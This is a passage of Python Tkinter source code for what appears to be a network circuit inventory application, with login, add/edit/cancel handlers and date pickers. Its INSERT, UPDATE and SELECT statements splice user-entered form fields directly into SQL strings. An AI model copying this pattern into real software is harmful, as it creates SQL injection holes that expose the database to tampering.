self.GetPasswordWindowsExists = False\r\n else:\r\n mbox.showerror(master=self.GetPasswordWindow,title='Username and Password',\r\n message = '*** ERROR *** - Please Enter a Valid Information')\r\n self.GetPasswordWindow.destroy()\r\n self.GetPasswordWindowsExists = False\r\n \r\n def try_login_Enter(self,event):\r\n self.try_login()\r\n \r\n def on_GetPasswordWindow_quit(self):\r\n self.GetPasswordWindowsExists = False\r\n self.GetPasswordWindow.destroy()\r\n\r\n def Get_Usernanme_and_Password(self):\r\n if not self.GetPasswordWindowsExists:\r\n self.password = \"\"\r\n self.username = \"\"\r\n self.GetPasswordWindowsExists = True\r\n self.GetPasswordWindow = Tk()\r\n self.GetPasswordWindow.resizable(width=FALSE, height=FALSE)\r\n self.GetPasswordWindow.protocol(\"WM_DELETE_WINDOW\", self.on_GetPasswordWindow_quit)\r\n self.GetPasswordWindow.title(\"Log-In\")\r\n self.GetPasswordWindow.geometry(\"200x150\")\r\n #Creating the username & password entry boxes\r\n self.username_text = Label(self.GetPasswordWindow, text=\"Username:\")\r\n self.username_guess = Entry(self.GetPasswordWindow)\r\n self.password_text = Label(self.GetPasswordWindow, text=\"Password:\")\r\n self.password_guess = Entry(self.GetPasswordWindow, show=\"*\")\r\n self.password_guess.bind('',self.try_login_Enter)\r\n self.attempt_login = Button(self.GetPasswordWindow,text=\"Login\", command = self.try_login) \r\n self.username_text.pack()\r\n self.username_guess.pack()\r\n self.password_text.pack()\r\n self.password_guess.pack()\r\n self.attempt_login.pack()\r\n self.GetPasswordWindow.mainloop()\r\n \r\n #-------------- Using a Password Question to make sure it was the intent to be deleted ---------------\r\n\r\n def Call_Button_Circuits_Remove(self):\r\n self.CircuitsID = self.CircuitIDFrameEntry.get()\r\n self.Get_Usernanme_and_Password()\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REMOVE Button'] \r\n Logging.Log(Parameter) \r\n\r\n def Call_Button_Circuits_OK(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','OK/UPDATE Button'] \r\n Logging.Log(Parameter) \r\n if self.db.Connect():\r\n self.ButtonCircuitsAdd['state'] = DISABLED\r\n self.ButtonCircuitsEdit['state'] = DISABLED\r\n self.ButtonCircuitsRemove['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = ACTIVE\r\n self.ButtonCircuitsCancel['state'] = ACTIVE\r\n self.ButtonDevicePingPE64['state'] = DISABLED\r\n self.ButtonDevicePingPE1500['state'] = DISABLED\r\n self.ButtonDevicePingCE64['state'] = DISABLED\r\n self.ButtonDevicePingCE1500['state'] = DISABLED\r\n self.ButtonDeviceCircuits['state'] = DISABLED\r\n self.ButtonDeviceTraceroutePE['state'] = DISABLED\r\n self.ButtonDeviceTracerouteCE['state'] = DISABLED\r\n self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n \r\n self.Collect_Screen() # <-------------------- Collect all Data on Screen\r\n PrimaryKey = (self.CircuitsID)\r\n #self.Selection = 'notyet'\r\n #-------------- ADD ----------------------\r\n if (self.Selection == 'add'):\r\n if ((len(self.CircuitsID) > 0) and (len(self.Description) > 0) and (len(self.CircuitsBandwidth) > 0)):\r\n if ((self.IPFormatCheck(self.CircuitCEIPAddress)) and (self.IPFormatCheck(self.CircuitPEIPAddress))):\r\n sql = \"\"\"\r\n SELECT * FROM Circuits\r\n WHERE Circuit_ID = '%s'\r\n \"\"\" % (PrimaryKey)\r\n if (self.db.Execute(sql)):\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you entered already exist ***')\r\n else:\r\n if (len(self.Description) > 200):\r\n self.Description = self.Description[:200]\r\n sql = \"INSERT INTO Circuits(Circuit_ID, Description, Country_ID, Region_ID, Facility_ID, Site_ID, Carrier_ID, Circuit_Type, \\\r\n Port_Speed, Bandwidth, Status, Dmarc_Info_1, Dmarc_Info_2, LEC1, LEC2, LEC3, LEC4, LEC5, CE_ASN, CE_IP_Address, \\\r\n PE_ASN, PE_IP_Address, VLAN_ID, PE_Switch, PE_Location, NPA_NXX, Monthly_Cost, Order_Number, \\\r\n Date_Installed, Day_Installed, Month_Installed, Year_Installed, \\\r\n Date_Activated, Day_Activated, Month_Activated, Year_Activated, \\\r\n Disconnect_Date, Day_Disconnect, Month_Disconnect, Year_Disconnect, \\\r\n Expiration_Date, Day_Expiration, Month_Expiration, Year_Expiration, Term_Day, Term_Time, ETF, \\\r\n Contract_No, Account_No, Executed_by_UserID)\\\r\n VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s', \\\r\n '%s','%s','%s','%s','%s','%s','%f','%s','%s','%d','%d','%d','%s','%d','%d','%d','%s','%d','%d','%d','%s','%d','%d','%d',\\\r\n '%s','%s','%f','%s','%s','%s')\" % (PrimaryKey, self.Description, self.CountryID, self.RegionID, self.FacilityID, self.SitesID,\r\n self.CircuitsCarrier, self.CircuitsTypeID, self.CircuitsPortID, self.CircuitsBandwidth, self.Circuitstatus, self.CircuitDMARK1,\r\n self.CircuitDMARK2, self.CircuitLEC1, self.CircuitLEC2, self.CircuitLEC3, self.CircuitLEC4, self.CircuitLEC5, self.CircuitCEASN,\r\n self.CircuitCEIPAddress, self.CircuitPEASN, self.CircuitPEIPAddress, self.CircuitVLANNo, self.CircuitPESwitch, self.CircuitPELocation,\r\n self.CircuitNPANXX, self.CircuitMonthlyCost, self.CircuitOrderNo,\r\n self.CircuitsInstalledDate, int(self.CircuitsInstalledDay), int(self.CircuitsInstalledMonth), int(self.CircuitsInstalledYear),\r\n self.CircuitsActivatedDate, int(self.CircuitsActivatedDay), int(self.CircuitsActivatedMonth), int(self.CircuitsActivatedYear),\r\n self.CircuitsDisconnectedDate, int(self.CircuitsDisconnectedDay), int(self.CircuitsDisconnectedMonth), int(self.CircuitsDisconnectedYear),\r\n self.CircuitsExpirationDate, int(self.CircuitsExpirationDay), int(self.CircuitsExpirationMonth), int(self.CircuitsExpirationYear),\r\n self.CircuitTerm, self.CircuitsTermTime, self.CircuitETF, self.CircuitsContractNo, self.CircuitAccountNo, self.Username)\r\n\r\n '''\r\n\r\n self.CircuitsTypeID = self.CircuitTypeIDArray[self.CircuitComboBoxTypeID.current()] \r\n self.CircuitsPortID = self.CircuitPortSpeedIDArray[self.CircuitsComboBoxPortSpeed.current()]\r\n self.Circuitstatus = self.CircuitstatusValues[self.CircuitsComboBoxStatus.current()]\r\n self.CircuitsCarrier = self.CircuitCarrierIDArray[self.CircuitComboBoxCarrier.current()]\r\n self.CircuitsTermTime = self.CircuitTermValues[self.CircuitComboBoxTerm.current()]\r\n\r\n # Setup Labels and Entry \r\n self.CircuitsBandwidth = self.CircuitsBandwidthFrameEntry.get()\r\n self.CircuitTerm = self.CircuitTermFrameEntry.get()\r\n self.CircuitsContractNo = self.CircuitsContractNoFrameEntry.get()\r\n self.CircuitAccountNo = self.CircuitAccountNoFrameEntry.get()\r\n self.CircuitOrderNo = self.CircuitOrderNoFrameEntry.get()\r\n self.CircuitCEASN = self.CircuitCEASNFrameEntry.get()\r\n self.CircuitCEIPAddress = self.CircuitCEIPAddressFrameEntry.get()\r\n self.CircuitVLANNo = self.CircuitVLANNoFrameEntry.get()\r\n self.CircuitNPANXX = self.CircuitNPANXXFrameEntry.get()\r\n self.CircuitPEASN = self.CircuitPEASNFrameEntry.get()\r\n self.CircuitPEIPAddress = self.CircuitPEIPAddressFrameEntry.get()\r\n self.CircuitPESwitch = self.CircuitPESwitchFrameEntry.get()\r\n self.CircuitPELocation = self.CircuitPELocationFrameEntry.get()\r\n self.CircuitMonthlyCost = self.CircuitMonthlyCostFrameEntry.get()\r\n self.CircuitLEC1 = self.CircuitLEC1FrameEntry.get()\r\n self.CircuitLEC2 = self.CircuitLEC2FrameEntry.get()\r\n self.CircuitLEC3 = self.CircuitLEC3FrameEntry.get()\r\n self.CircuitLEC4 = self.CircuitLEC4FrameEntry.get()\r\n self.CircuitLEC5 = self.CircuitLEC5FrameEntry.get()\r\n self.CircuitDMARK1 = self.CircuitDMARK1FrameEntry.get()\r\n self.CircuitDMARK2 = self.CircuitDMARK2FrameEntry.get()\r\n self.CircuitCEASN = self.CircuitCEASNFrameEntry.get()\r\n self.CircuitCEIPAddress = self.CircuitCEIPAddressFrameEntry.get()\r\n\r\n # COST Entries (Float)\r\n if (len(self.CircuitMonthlyCostFrameEntry.get()) > 0): \r\n self.CircuitMonthlyCost = float(self.CircuitMonthlyCostFrameEntry.get())\r\n else:\r\n self.CircuitMonthlyCost = 0\r\n \r\n if (len(self.CircuitETFFrameEntry.get()) > 0): \r\n self.CircuitETF = float(self.CircuitETFFrameEntry.get())\r\n else:\r\n self.CircuitETF = 0\r\n\r\n\r\n '''\r\n\r\n '''\r\n 0 - Circuit_ID CHAR(100) NOT NULL PRIMARY KEY,\r\n 1 - Description CHAR(200),\r\n 2 - Country_ID CHAR(20), \r\n 3 - Region_ID CHAR(20),\r\n 4 - Facility_ID CHAR(20),\r\n 5 - Site_ID CHAR(20),\r\n 6 - Carrier_ID CHAR(20),\r\n 7 - Circuit_Type CHAR(40),\r\n 8 - Port_Speed CHAR(20),\r\n 9 - Bandwidth CHAR(20),\r\n 10- Status CHAR(20),\r\n 11- Dmarc_Info_1 CHAR(200),\r\n 12- Dmarc_Info_2 CHAR(200),\r\n 13- LEC1 CHAR(50),\r\n 14- LEC2 CHAR(50),\r\n 15- LEC3 CHAR(50),\r\n 16- LEC4 CHAR(50),\r\n 17- LEC5 CHAR(50),\r\n 18- CE_ASN CHAR(20),\r\n 19- CE_IP_Address CHAR(50),\r\n 20- PE_ASN CHAR(20),\r\n 21- PE_IP_Address CHAR(50),\r\n 22- VLAN_ID CHAR(10),\r\n 23- PE_Switch CHAR(100),\r\n 24- PE_Location CHAR(100),\r\n 25- NPA_NXX CHAR(20),\r\n 26- Monthly_Cost FLOAT,\r\n 27- Order_Number CHAR(40),\r\n 28- Date_Installed CHAR(20),\r\n 29- Day_Installed INT,\r\n 30- Month_Installed INT,\r\n 31- Year_Installed INT,\r\n 32- Date_Activated CHAR(20),\r\n 33- Day_Activated INT,\r\n 34- Month_Activated INT,\r\n 35- Year_Activated INT,\r\n 36- Disconnect_Date CHAR(20),\r\n 37- Day_Disconnect INT,\r\n 38- Month_Disconnect INT,\r\n 39- Year_Disconnect INT,\r\n 40- Expiration_Date CHAR(20),\r\n 41- Day_Expiration INT,\r\n 42- Month_Expiration INT,\r\n 43- Year_Expiration INT,\r\n 44- Term_Day CHAR(10),\r\n 45- Term_Time CHAR(10),\r\n 46- ETF FLOAT,\r\n 47- Contract_No CHAR(50),\r\n 48- Account_No CAHR(50),\r\n 49- Executed_by_UserID CHAR(20))\"\"\"\r\n\r\n '''\r\n\r\n #print (sql)\r\n if (self.db.Add_Move_Change_Data(sql)):\r\n #self.db.Disconnect()\r\n mbox.showwarning(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you entered was Added ***')\r\n self.on_sites_combo_changed(\"event\")\r\n self.Disable_Screen()\r\n else:\r\n #self.db.Disconnect()\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you entered was NOT Added ***')\r\n self.on_sites_combo_changed(\"event\")\r\n self.Disable_Screen()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The CE or PE IP Address is invalid ***') \r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID, Circuits Name and Bandwidth Cannot be BLANK ***') \r\n #-------------- EDIT ----------------------\r\n if (self.Selection == 'edit'):\r\n #print (PrimaryKey+\"....\")\r\n if ((len(self.Description) == 0) or (len(self.CircuitsBandwidth) == 0)):\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits Name or The Bandwidtth Cannot be BLANK ***')\r\n else:\r\n if ((self.IPFormatCheck(self.CircuitCEIPAddress)) and (self.IPFormatCheck(self.CircuitPEIPAddress))):\r\n sql = \"\"\"\r\n SELECT * FROM Circuits\r\n WHERE Circuit_ID = '%s'\r\n \"\"\" % (PrimaryKey) \r\n if (self.db.Execute(sql)): \r\n if (len(self.Description) > 200):\r\n self.Description = self.Description[:200]\r\n sql = \"UPDATE Circuits SET Description = '%s', Country_ID = '%s', Region_ID = '%s', Facility_ID = '%s', Site_ID = '%s', \\\r\n Carrier_ID = '%s', Circuit_Type = '%s', Port_Speed = '%s', Bandwidth = '%s', Status = '%s', Dmarc_Info_1 = '%s', \\\r\n Dmarc_Info_2 = '%s', LEC1 = '%s', LEC2 = '%s', LEC3 = '%s', LEC4 = '%s', LEC5 = '%s', CE_ASN = '%s', CE_IP_Address = '%s', \\\r\n PE_ASN = '%s', PE_IP_Address = '%s', VLAN_ID = '%s', PE_Switch = '%s', PE_Location = '%s', NPA_NXX = '%s', Monthly_Cost = '%f', \\\r\n Order_Number = '%s', \\\r\n Date_Installed = '%s', Day_Installed = '%d', Month_Installed = '%d', Year_Installed = '%d', \\\r\n Date_Activated = '%s', Day_Activated = '%d', Month_Activated = '%d', Year_Activated = '%d', \\\r\n Disconnect_Date = '%s', Day_Disconnect = '%d', Month_Disconnect = '%d', Year_Disconnect = '%d', \\\r\n Expiration_Date = '%s', Day_Expiration = '%d', Month_Expiration = '%d', Year_Expiration = '%d', Term_Day = '%s', \\\r\n Term_Time = '%s', ETF = '%f', Contract_No = '%s', Account_No = '%s', Executed_by_UserID = '%s' \\\r\n WHERE Circuit_ID = '%s'\" %(self.Description, self.CountryID, self.RegionID, self.FacilityID, self.SitesID, \\\r\n self.CircuitsCarrier, self.CircuitsTypeID, self.CircuitsPortID, self.CircuitsBandwidth, self.Circuitstatus, self.CircuitDMARK1,\r\n self.CircuitDMARK2, self.CircuitLEC1, self.CircuitLEC2, self.CircuitLEC3, self.CircuitLEC4, self.CircuitLEC5, self.CircuitCEASN,\r\n self.CircuitCEIPAddress, self.CircuitPEASN, self.CircuitPEIPAddress, self.CircuitVLANNo, self.CircuitPESwitch, self.CircuitPELocation,\r\n self.CircuitNPANXX, self.CircuitMonthlyCost, self.CircuitOrderNo,\r\n self.CircuitsInstalledDate, int(self.CircuitsInstalledDay), int(self.CircuitsInstalledMonth), int(self.CircuitsInstalledYear),\r\n self.CircuitsActivatedDate, int(self.CircuitsActivatedDay), int(self.CircuitsActivatedMonth), int(self.CircuitsActivatedYear),\r\n self.CircuitsDisconnectedDate, int(self.CircuitsDisconnectedDay), int(self.CircuitsDisconnectedMonth), int(self.CircuitsDisconnectedYear),\r\n self.CircuitsExpirationDate, int(self.CircuitsExpirationDay), int(self.CircuitsExpirationMonth), int(self.CircuitsExpirationYear),\r\n self.CircuitTerm, self.CircuitsTermTime, self.CircuitETF, self.CircuitsContractNo, self.CircuitAccountNo, self.Username, PrimaryKey)\r\n '''\r\n self.CircuitsTablePriaryKeyArray = [] # Circuits ID\r\n self.CircuitsTableDescriptionArray = [] \r\n self.CircuitsTableCountryIDArray = [] \r\n self.CircuitsTableRegionIDArray = []\r\n self.CircuitsTableFacilityIDArray = []\r\n self.CircuitsTableSiteIDArray = []\r\n self.CircuitsTableCarrierIDArray = []\r\n self.CircuitsTableCircuitTypeArray = []\r\n self.CircuitsTablePortSpeedArray = []\r\n self.CircuitsTableBandwidthArray = []\r\n self.CircuitsTableStatusArray = []\r\n self.CircuitsTableDmarc_Info_1Array = []\r\n self.CircuitsTableDmarc_Info_2Array = []\r\n self.CircuitsTableLEC1Array = []\r\n self.CircuitsTableLEC2Array = []\r\n self.CircuitsTableLEC3Array = []\r\n self.CircuitsTableLEC4Array = []\r\n self.CircuitsTableLEC5Array = []\r\n self.CircuitsTableCE_ASNArray = []\r\n self.CircuitsTableCE_IP_AddressArray = []\r\n self.CircuitsTablePE_ASNArray = []\r\n self.CircuitsTablePE_IP_AddressArray = []\r\n self.CircuitsTableVLAN_IDArray = []\r\n self.CircuitsTablePE_SwitchArray = []\r\n self.CircuitsTablePE_LocationArray = []\r\n self.CircuitsTableNPA_NXXArray = []\r\n self.CircuitsTableMonthlyCostArray = []\r\n self.CircuitsTableOrderNumberArray = []\r\n self.CircuitsTableDateInstalledArray = []\r\n self.CircuitsTableDayInstalledArray = []\r\n self.CircuitsTableMonthInstalledArray = []\r\n self.CircuitsTableYearInstalledArray = []\r\n self.CircuitsTableDateActivatedArray = []\r\n self.CircuitsTableDayActivatedArray = []\r\n self.CircuitsTableMonthActivatedArray = []\r\n self.CircuitsTableYearActivatedArray = []\r\n self.CircuitsTableDisconectedDateArray = []\r\n self.CircuitsTableDayDisconectedArray = []\r\n self.CircuitsTableMonthDisconectedArray = []\r\n self.CircuitsTableYearDisconectedArray = []\r\n self.CircuitsTableExpirationDateArray = []\r\n self.CircuitsTableDayExpirationArray = []\r\n self.CircuitsTableMonthExpirationArray = []\r\n self.CircuitsTableYearExpirationArray = []\r\n self.CircuitsTableTerm_DayArray = []\r\n self.CircuitsTableTerm_TimeArray = []\r\n self.CircuitsTableETFArray = []\r\n self.CircuitsTableContract_NoArray = []\r\n self.CircuitsTableAccount_NoArray = []\r\n self.CircuitsTableExecutedByArray = []\r\n \r\n 0 - Circuit_ID CHAR(100) NOT NULL PRIMARY KEY,\r\n 1 - Description CHAR(200),\r\n 2 - Country_ID CHAR(20), \r\n 3 - Region_ID CHAR(20),\r\n 4 - Facility_ID CHAR(20),\r\n 5 - Site_ID CHAR(20),\r\n 6 - Carrier_ID CHAR(20),\r\n 7 - Circuit_Type CHAR(40),\r\n 8 - Port_Speed CHAR(20),\r\n 9 - Bandwidth CHAR(20),\r\n 10- Status CHAR(20),\r\n 11- Dmarc_Info_1 CHAR(200),\r\n 12- Dmarc_Info_2 CHAR(200),\r\n 13- LEC1 CHAR(50),\r\n 14- LEC2 CHAR(50),\r\n 15- LEC3 CHAR(50),\r\n 16- LEC4 CHAR(50),\r\n 17- LEC5 CHAR(50),\r\n 18- CE_ASN CHAR(20),\r\n 19- CE_IP_Address CHAR(50),\r\n 20- PE_ASN CHAR(20),\r\n 21- PE_IP_Address CHAR(50),\r\n 22- VLAN_ID CHAR(10),\r\n 23- PE_Switch CHAR(100),\r\n 24- PE_Location CHAR(100),\r\n 25- NPA_NXX CHAR(20),\r\n 26- Monthly_Cost FLOAT,\r\n 27- Order_Number CHAR(40),\r\n 28- Date_Installed CHAR(20),\r\n 29- Day_Installed INT,\r\n 30- Month_Installed INT,\r\n 31- Year_Installed INT,\r\n 32- Date_Activated CHAR(20),\r\n 33- Day_Activated INT,\r\n 34- Month_Activated INT,\r\n 35- Year_Activated INT,\r\n 36- Disconnect_Date CHAR(20),\r\n 37- Day_Disconnect INT,\r\n 38- Month_Disconnect INT,\r\n 39- Year_Disconnect INT,\r\n 40- Expiration_Date CHAR(20),\r\n 41- Day_Expiration INT,\r\n 42- Month_Expiration INT,\r\n 43- Year_Expiration INT,\r\n 44- Term_Day CHAR(10),\r\n 45- Term_Time CHAR(10),\r\n 46- ETF FLOAT,\r\n 47- Contract_No CHAR(50),\r\n 48- Account_No CAHR(50),\r\n 49- Executed_by_UserID CHAR(20))\"\"\"\r\n\r\n '''\r\n if (self.db.Add_Move_Change_Data(sql)):\r\n #self.db.Disconnect()\r\n mbox.showwarning(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you entered was Updated ***')\r\n if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n # ------ The Location Changed so we need to move to a new location !!!!!\r\n self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n self.Selection = 'cancel_edit'\r\n self.on_Country_Table_Refresh()\r\n self.ComboBoxCoutryID.current(0) \r\n self.on_Region_Table_Refresh()\r\n self.ComboBoxRegionID.current(0)\r\n self.on_Facility_Table_Refresh()\r\n self.ComboBoxFacilityID.current(0)\r\n self.on_Sites_Table_Refresh()\r\n self.ComboBoxSitesID.current(0)\r\n self.on_sites_combo_changed(\"event\")\r\n self.Selection = 'edit_ok'\r\n else:\r\n #self.db.Disconnect()\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you entered was NOT Upadted ***')\r\n self.on_sites_combo_changed(\"event\")\r\n self.Disable_Screen()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuits ID you try to Edit Does not exist Anymore ***')\r\n self.on_sites_combo_changed(\"event\")\r\n self.Disable_Screen()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The CE or PE IP Address is invalid ***') \r\n \r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n\r\n def Call_Button_Circuits_Cancel(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','CANCEL Button'] \r\n Logging.Log(Parameter) \r\n if (self.Selection == 'edit'):\r\n if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n # ------ The Location Change so we need to move to a new location !!!!!\r\n self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n self.Selection = 'cancel_edit'\r\n self.on_Country_Table_Refresh()\r\n self.ComboBoxCoutryID.current(0) \r\n self.on_Region_Table_Refresh()\r\n self.ComboBoxRegionID.current(0)\r\n self.on_Facility_Table_Refresh()\r\n self.ComboBoxFacilityID.current(0)\r\n self.on_Sites_Table_Refresh()\r\n self.ComboBoxSitesID.current(0)\r\n self.on_sites_combo_changed(\"event\")\r\n self.Selection = 'cancel'\r\n self.Clean_Screen('Circuits','all')\r\n self.on_sites_combo_changed(\"test\")\r\n self.ComboBoxCoutryID['state'] = 'readonly'\r\n self.ComboBoxRegionID['state'] = 'readonly'\r\n self.ComboBoxFacilityID['state'] = 'readonly'\r\n self.ComboBoxSitesID['state'] = 'readonly'\r\n if (Is_Country_Available):\r\n self.ButtonCountryAdd['state'] = ACTIVE\r\n self.ButtonCountryRefresh['state'] = ACTIVE\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = ACTIVE\r\n self.ButtonRegionRefresh['state'] = ACTIVE\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = ACTIVE\r\n self.ButtonFacilityRefresh['state'] = ACTIVE\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = ACTIVE\r\n self.ButtonSitesRefresh['state'] = ACTIVE\r\n #self.Selection = 'cancel'\r\n\r\n def on_Circuits_Tree_select_click(self,event):\r\n #print (\"Select\")\r\n if (self.Selection == 'edit'):\r\n if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n # ------ The Location Change so we need to move to a new location !!!!!\r\n self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n self.Selection = 'cancel_edit'\r\n self.on_Country_Table_Refresh()\r\n self.ComboBoxCoutryID.current(0) \r\n self.on_Region_Table_Refresh()\r\n self.ComboBoxRegionID.current(0)\r\n self.on_Facility_Table_Refresh()\r\n self.ComboBoxFacilityID.current(0)\r\n self.on_Sites_Table_Refresh()\r\n self.ComboBoxSitesID.current(0)\r\n self.on_sites_combo_changed(\"event\")\r\n self.Selection = 'select'\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n #print (dic)\r\n #print (dic.get('text'))\r\n values = dic.get('values')\r\n if (len(values) > 0):\r\n #print (values)\r\n #print (values[0])\r\n #print (values[1])\r\n #print (curItem)\r\n self.ComboBoxCoutryID['state'] = 'readonly'\r\n self.ComboBoxRegionID['state'] = 'readonly'\r\n self.ComboBoxFacilityID['state'] = 'readonly'\r\n if (Is_Country_Available):\r\n self.ButtonCountryAdd['state'] = ACTIVE\r\n self.ButtonCountryRefresh['state'] = ACTIVE\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = ACTIVE\r\n self.ButtonRegionRefresh['state'] = ACTIVE \r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = ACTIVE\r\n self.ButtonFacilityRefresh['state'] = ACTIVE \r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = ACTIVE\r\n self.ButtonSitesRefresh['state'] = ACTIVE \r\n curItem = int(dic.get('text')) - 1\r\n self.ButtonCircuitsAdd['state'] = ACTIVE\r\n self.ButtonCircuitsEdit['state'] = ACTIVE\r\n self.ButtonCircuitsRemove['state'] = ACTIVE\r\n self.ButtonCircuitsOK['state'] = DISABLED\r\n self.ButtonCircuitsCancel['state'] = DISABLED\r\n self.ButtonDevicePingPE64['state'] = ACTIVE\r\n self.ButtonDevicePingPE1500['state'] = ACTIVE\r\n self.ButtonDevicePingCE64['state'] = ACTIVE\r\n self.ButtonDevicePingCE1500['state'] = ACTIVE\r\n self.ButtonDeviceCircuits['state'] = ACTIVE\r\n self.ButtonDeviceTraceroutePE['state'] = ACTIVE\r\n self.ButtonDeviceTracerouteCE['state'] = ACTIVE\r\n self.ButtonDeviceLocalPointOfContacts['state'] = ACTIVE\r\n self.Display_Screen(curItem)\r\n\r\n def On_Circuits_Tree_Refresh(self,event):\r\n #--- Double Click --\r\n self.on_Circuits_Table_Refresh()\r\n\r\n #--------------------- Installed Date Calendar ------------------------------\r\n def on_CircuitsInstalledDateWindow_quit(self):\r\n self.CircuitsInstalledData = self.cal_Installed.kill_and_save()\r\n self.CircuitsCalendarInstalledDateExist = False\r\n self.CircuitsCalendarInstalledDateWindow.destroy()\r\n if (len(self.CircuitsInstalledData) > 0):\r\n self.CircuitsInstalledDate = str(self.CircuitsInstalledData['month_selected']) + '/' + str(self.CircuitsInstalledData['day_selected']) + '/' + str(self.CircuitsInstalledData['year_selected'])\r\n #print (self.data['day_selected'])\r\n #print (self.data['month_selected'])\r\n #print (self.data['year_selected'])\r\n #print (self.data['day_name'])\r\n #print (self.data['month_name'])\r\n else:\r\n #print (\"no date was selected\")\r\n self.CircuitsInstalledDate = \"\"\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'normal'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n self.CircuitsInstalledDateFrameEntry.insert(0,self.CircuitsInstalledDate)\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n\r\n def Call_Button_Installed_Date_Clear(self):\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'normal'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n \r\n def Call_Button_Activated_Date_Clear(self):\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n\r\n def Call_Button_Disconnected_Date_Clear(self):\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n def Call_Button_Expiration_Date_Clear(self):\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'normal'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n \r\n def Call_Button_Installed_Date(self):\r\n if not (self.CircuitsCalendarInstalledDateExist):\r\n self.CircuitsCalendarInstalledDateExist = True\r\n self.CircuitsCalendarInstalledDateWindow = Tk()\r\n self.CircuitsCalendarInstalledDateWindow.title(\"Installed\")\r\n self.CircuitsCalendarInstalledDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_CircuitsInstalledDateWindow_quit)\r\n self.CircuitsCalendarInstalledDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n self.CircuitsInstalledData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsInstalledDateName = 